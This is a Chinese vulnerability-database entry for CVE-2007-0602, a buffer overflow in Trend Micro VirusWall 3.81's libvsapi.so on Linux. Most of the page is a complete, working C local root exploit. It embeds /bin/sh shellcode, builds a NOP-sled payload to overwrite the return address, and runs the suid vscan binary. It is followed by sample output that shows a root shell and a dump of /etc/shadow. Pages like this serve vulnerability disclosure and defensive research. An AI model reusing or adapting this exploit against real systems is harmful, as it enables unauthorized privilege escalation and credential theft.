Micro VirusWall 'libvsapi.so' 缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112109 漏洞类型 缓冲区溢出
发布时间 2007-01-28 更新时间 2007-01-30
CVE编号 CVE-2007-0602 CNNVD-ID CNNVD-200701-556
漏洞平台 Linux CVSS评分 6.9
|漏洞来源
https://www.exploit-db.com/exploits/3213
https://www.securityfocus.com/bid/83556
https://cxsecurity.com/issue/WLB-2007020009
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-556
|漏洞详情
VSAPIlibraryLinuxTrendMicroVirusWall3.81版本的libvsapi.so中存在缓冲区溢出,当被Scan.BASE/vscan运行时,本地用户可以借助一个超长的指令线自变量,获得特权。
|漏洞EXP
/*

    Title: Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)

    Author: Sebastian Wolfgarten / sebastian@wolfgarten.com / http://www.devtarget.org

    Date: January 3rd, 2007

    Severity: Medium

    Description:

    The product "InterScan VirusWall 3.81 for Linux" ships a library called 
    "libvsapi.so" which is vulnerable to a memory corruption vulnerability.

    One of the applications that apparently uses this library is called "vscan"
    which is set suid root by default. It was discovered that this supporting
    program is prone to a classic buffer overflow vulnerability when a particularly
    long command-line argument is being passed and the application utilizes the flawed
    library to attempt to copy that data into a finite buffer. 

    As vscan is set suid root, this leads to arbitrary code execution with root level
    privileges. However the severity of this vulnerability is probably "medium" as by default
    the vscan file is only executable by the root user as well as members of the "iscan"
    group which is created during the installation of the software.

    Example:

    sebastian@debian31:~$ ./tmvwall381v3_exp

    Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)
    Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>
    Date: January 3rd, 2007

    Okay, /opt/trend/ISBASE/IScan.BASE/vscan is executable and by the way, your current user id is 5002.

    Executing /opt/trend/ISBASE/IScan.BASE/vscan. Afterwards check your privilege level with id or whoami!
    Virus Scanner v3.1, VSAPI v8.310-1002
    Trend Micro Inc. 1996,1997
        Pattern number 4.155.00

    sh-2.05b# id
    uid=5002(sebastian) gid=100(users) euid=0(root) groups=100(users),5001(iscan)

    sh-2.05b# cat /etc/shadow

    root:***REMOVED***:13372:0:99999:7:::
    daemon:*:13372:0:99999:7:::
    bin:*:13372:0:99999:7:::
    sys:*:13372:0:99999:7:::
    sync:*:13372:0:99999:7:::
    games:*:13372:0:99999:7:::
    man:*:13372:0:99999:7:::
    lp:*:13372:0:99999:7:::
    mail:*:13372:0:99999:7:::
    news:*:13372:0:99999:7:::
    uucp:*:13372:0:99999:7:::
    proxy:*:13372:0:99999:7:::
    www-data:*:13372:0:99999:7:::
    backup:*:13372:0:99999:7:::
    list:*:13372:0:99999:7:::
    irc:*:13372:0:99999:7:::
    gnats:*:13372:0:99999:7:::
    nobody:*:13372:0:99999:7:::
    Debian-exim:!:13372:0:99999:7:::
    sshd:!:13372:0:99999:7:::
    postfix:!:13500:0:99999:7:::
    mysql:!:13500:0:99999:7:::
    vmail:!:13500:0:99999:7:::
    amavis:!:13500:0:99999:7:::
    iscan:!:13500:0:99999:7:::
    sebastian:***REMOVED***:13500:0:99999:7:::

    Credits:

    Must go to Aleph One for the shellcode and mercy for bits of the code.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x90
#define vscan "/opt/trend/ISBASE/IScan.BASE/vscan"

// Shellcode by Aleph One
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
		   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
                   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

    __asm__("movl %esp, %eax");

}

int main(int argc, char *argv[], char **envp) {

    // Size of the vulnerable buffer (1116 + 4 bytes to overwrite EIP)
    int buff = 1120;

    // Address of the shellcode
    unsigned long addr;

    // Temporarily used to add nops etc.
    char *ptr;

    printf("\nLocal root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)\n");
    printf("Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>\n");
    printf("Date: January 3rd, 2007\n\n");

    // Check permissions on vscan executable, if this fails exploitation is infeasible.
    if (access(vscan, 01) != -1) {

        printf("Okay, %s is executable and by the way, your current user id is %d.\n",vscan,getuid());

	// Allocate memory for filling the buffer
        if((ptr = (char *)malloc(buff)) == NULL) {

		printf("Error allocating memory!\n");
		exit(-1);

	}

	// Determine the address of the shellcode with the inline assembly above
        addr = get_sp();

        // Add the NOP's to the buffer
        memset(ptr, NOP, buff);

        // Add the shellcode
        memcpy(ptr + buff - strlen(shellcode) - 8, shellcode, strlen(shellcode));

        // The return address
        *(long *)&ptr[buff - 4] = addr;

        // Off we go, execute the vulnerable program
        printf("\nExecuting %s. Afterwards check your privilege level with id or whoami!\n",vscan);
        execl(vscan, "vscan", ptr, NULL);

    } else {

        printf("Exploit failed. You seem not to have enough privileges to execute %s, sorry.\n",vscan);
	printf("Hint: Ask your local admin to add yourself to the iscan group or let him make the vscan binary world-executable.\n");
	printf("Then try again :-)\n\n");
	exit(1);

    }

    return 0;

}

// milw0rm.com [2007-01-28]
|受影响的产品
Trend Micro Viruswall 3.81
|参考资料

来源:esupport.trendmicro.com
链接:http://esupport.trendmicro.com/support/viewxml.do?ContentID=EN-1034124&id=EN-1034124
来源:BUGTRAQ
名称:20070125BufferoverflowinVSAPIlibraryofTrendMicroVirusWall3.81forLinux
链接:http://www.securityfocus.com/archive/1/archive/1/458111/100/0/threaded
来源:MISC
链接:http://www.devtarget.org/trendmicro-advisory-01-2007.txt
来源:MISC
链接:http://www.devtarget.org/tmvwall381v3_exp.c
来源:OSVDB
名称:33043
链接:http://osvdb.org/33043
来源:VUPEN
名称:ADV-2007-0367
链接:http://www.frsirt.com/english/advisories/2007/0367
来源:SECTRACK
名称:1017562
链接:http://securitytracker.com/id?1017562
来源:SREASON
名称:2204
链接:http://securityreason.com/securityalert/2204